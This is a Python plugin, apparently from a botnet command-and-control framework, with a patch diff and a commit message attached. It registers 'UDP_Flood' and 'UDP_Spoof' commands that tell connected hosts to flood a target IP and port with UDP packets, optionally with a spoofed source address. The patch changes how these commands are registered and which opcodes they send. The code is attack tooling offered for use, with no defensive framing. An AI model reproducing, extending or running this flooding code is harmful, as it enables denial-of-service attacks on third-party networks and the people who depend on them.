from mount import Plugin

class Files(Plugin):
    __server_commands__ = {}
    __host_commands__ = {}

    def __init__(self):
        self.__host_commands__["UDP_Flood"] = self.udp_flood
        self.__host_commands__["UDP_Spoof"] = self.udp_spoof

    def udp_flood(self, host, args):
        """Floods target machine with UDP packets"""
        if len(args) < 2:
            print("Usage: UDP_Flood <target_ip> <target_port> [payload]")

        try:
            # IP:port:payload
            cmd = "%s:%s:%s" % (args[0], args[1], args[2])
        except IndexError:
            cmd = "%s:%s:Hi" % (args[0], args[1])

        host.send("00005")
        host.send("%03d" % len(cmd))
        host.send(cmd)

    def udp_spoof(self, host, args):
        """Floods target machine with UDP packets via spoofed ip & port"""
        if len(args) < 4:
            print("Usage: UDP_Spoof <target_ip> <target_port> <spoofed_ip> <spoofed_port> [payload]")

        try:
            # IP:port:new_ip:new_port:payload
            cmd = "%s:%s:%s:%s:%s" % (args[0], args[1], args[2], args[3], args[4])
        except IndexError:
            cmd = "%s:%s:%s:%s:Hi" % (args[0], args[1], args[2], args[3])

        host.send("00006")
        host.send("%03d" % len(cmd))
        host.send(cmd)

@@ -163,24 +163,25 @@
 P_Flood%22%5D = 
+%5B
 self.udp_flo
@@ -182,16 +182,89 @@
 dp_flood
+, %22connected%22,%0A                                               %22multiple%22%5D
 %0A       
@@ -302,16 +302,17 @@
 oof%22%5D = 
+%5B
 self.udp
@@ -317,16 +317,89 @@
 dp_spoof
+, %22connected%22,%0A                                               %22multiple%22%5D
 %0A%0A    de
@@ -437,33 +437,32 @@
         %22%22%22Flood
-s
  target machine 
@@ -784,15 +784,37 @@
 end(
-%2200005%22
+host.command_dict%5B'udpFlood'%5D
 )%0A  
@@ -870,16 +870,36 @@
 end(cmd)
+%0A        return None
 %0A%0A    de
@@ -945,17 +945,16 @@
 %22%22%22Flood
-s
  target 
@@ -1398,15 +1398,37 @@
 end(
-%2200006%22
+host.command_dict%5B'udpSpoof'%5D
 )%0A  
@@ -1465,28 +1465,48 @@
 md))%0A        host.send(cmd)%0A
+        return None%0A

Update udp.py